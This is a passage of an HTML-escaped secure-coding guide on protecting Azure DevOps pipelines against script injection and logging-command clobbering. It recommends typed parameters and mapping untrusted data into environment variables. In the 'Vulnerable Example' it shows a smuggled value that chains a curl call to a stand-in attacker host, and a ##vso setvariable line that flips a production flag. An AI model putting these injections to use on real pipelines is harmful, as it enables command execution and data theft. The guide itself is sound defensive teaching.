text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='84' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='100' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='100' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='148' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='180' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='148' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='132' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='180' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='180' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='180' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='132' fill='currentColor' style='font-size:1em'\u003e\"\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='180' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='132' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='148' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='148' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='180' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='132' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='148' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='180' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='180' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='132' fill='currentColor' style='font-size:1em'\u003e\"\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVulnerable Example:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Hello $(userName)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIf an attacker provides \u003ccode\u003euserName\u003c/code\u003e as \u003ccode\u003eAdmin\u0026quot; \u0026amp;\u0026amp; curl http://attacker.com/leak #\u003c/code\u003e, the agent executes:\n\u003ccode\u003eecho \u0026quot;Hello Admin\u0026quot; \u0026amp;\u0026amp; curl http://attacker.com/leak #\u0026quot;\u003c/code\u003e\nThe attacker has successfully escaped the \u003ccode\u003eecho\u003c/code\u003e command to run a second, malicious command.\u003c/p\u003e\n\u003ch3 id=\"12-logging-command-injection-clobbering\"\u003e1.2: Logging Command Injection (Clobbering)\u003c/h3\u003e\n\u003cp\u003eAzure DevOps uses \u0026ldquo;Logging Commands\u0026rdquo; (e.g., \u003ccode\u003e##vso[...]\u003c/code\u003e) to communicate between scripts and the orchestrator. If your pipeline logs untrusted data—like a PR title or a commit message—an attacker can include a command to overwrite internal variables. For example, a commit message containing \u003ccode\u003e##vso[task.setvariable variable=isProduction]true\u003c/code\u003e could maliciously flip a logic gate in a downstream job.\u003c/p\u003e\n\u003ch2 id=\"2-hardening-with-typed-parameters\"\u003e2. Hardening with Typed Parameters\u003c/h2\u003e\n\u003cp\u003eThe first line of defense is restricting what data can enter your pipeline at queue time.\u003c/p\u003e\n\u003ch3 id=\"21-moving-beyond-string\"\u003e2.1: Moving Beyond \u0026ldquo;String\u0026rdquo;\u003c/h3\u003e\n\u003cp\u003eThe \u003ccode\u003estring\u003c/code\u003e parameter type is dangerous because it accepts any sequence of characters. In 2026, the standard practice is to use the \u003ccode\u003evalues:\u003c/code\u003e property to create a restricted dropdown in the portal.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenv\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;dev\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003evalues\u003c/span\u003e: [\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;dev\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;staging\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;prod\u0026#39;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis ensures that only known-good values can be passed to your logic, preventing shell escapes entirely at the input layer.\u003c/p\u003e\n\u003ch3 id=\"22-the-boolean-and-number-shield\"\u003e2.2: The Boolean and Number Shield\u003c/h3\u003e\n\u003cp\u003eTyped parameters like \u003ccode\u003eboolean\u003c/code\u003e and \u003ccode\u003enumber\u003c/code\u003e provide native validation. A boolean parameter cannot contain a malicious curl command; the expansion engine will reject the input before the pipeline even starts. Use these types for toggles and counts to minimize your attack surface.\u003c/p\u003e\n\u003ch2 id=\"3-sanitizing-runtime-variables\"\u003e3. Sanitizing Runtime Variables\u003c/h2\u003e\n\u003cp\u003eWhen you must work with runtime data (like branch names or user IDs), follow the \u0026ldquo;Safe Ingestion\u0026rdquo; pattern.\u003c/p\u003e\n\u003ch3 id=\"31-the-safe-ingestion-pattern\"\u003e3.1: The \u0026ldquo;Safe Ingestion\u0026rdquo; Pattern\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eNever\u003c/strong\u003e use \u003ccode\u003e$( )\u003c/code\u003e directly in a script block. Instead, map the variable to a shell environment variable in the task\u0026rsquo;s \u003ccode\u003eenv:\u003c/code\u003e section. Shell engines handle environment variables as data, not as part of the command string, making them immune to injection.\u003c/p\u003e\n\u003ch4 id=\"the-safe-ingestion-pattern-defense-in-depth\"\u003eThe Safe Ingestion Pattern (Defense-in-Depth)\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 704 217\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 96,48 L 336,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,112 L 576,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,176 L 336,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,8 L 88,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,48 L 88,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,24 L 336,40' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,8 L 344,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,48 L 344,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,112 L 344,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 584,24 L 584,40' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 584,104 L 584,120' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,8 L 592,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,48 L 592,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,120 L 592,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,168 L 592,184' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='104.000000,176.000000 92.000000,170.399994 92.000000,181.600006' fill='currentColor' transform='rotate(180.000000, 96.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='344.000000,48.000000 332.000000,42.400002 332.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 336.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='584.000000,112.000000 572.000000,106.400002 572.000000,117.599998' fill='currentColor' transform='rotate(0.000000, 576.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eX\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='148' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='196' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='196' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='164' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='164' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='196' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='148' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='164' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='196' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='164' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='148' fill='currentColor' style='font-size:1em'\u003e\"\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='164' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='148' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='196' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='164' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='148' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='148' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='148' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='148' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='164' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='148' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='148' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='148' fill='currentColor' style='font-size:1em'\u003e\"\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Hello $USER_NAME\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eUSER_NAME\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(untrustedInput)\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Safe mapping\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"32-using-readonly-for-constants\"\u003e3.2: Using \u003ccode\u003ereadonly\u003c/code\u003e for Constants\u003c/h3\u003e\n\u003cp\u003eMark your security-critical 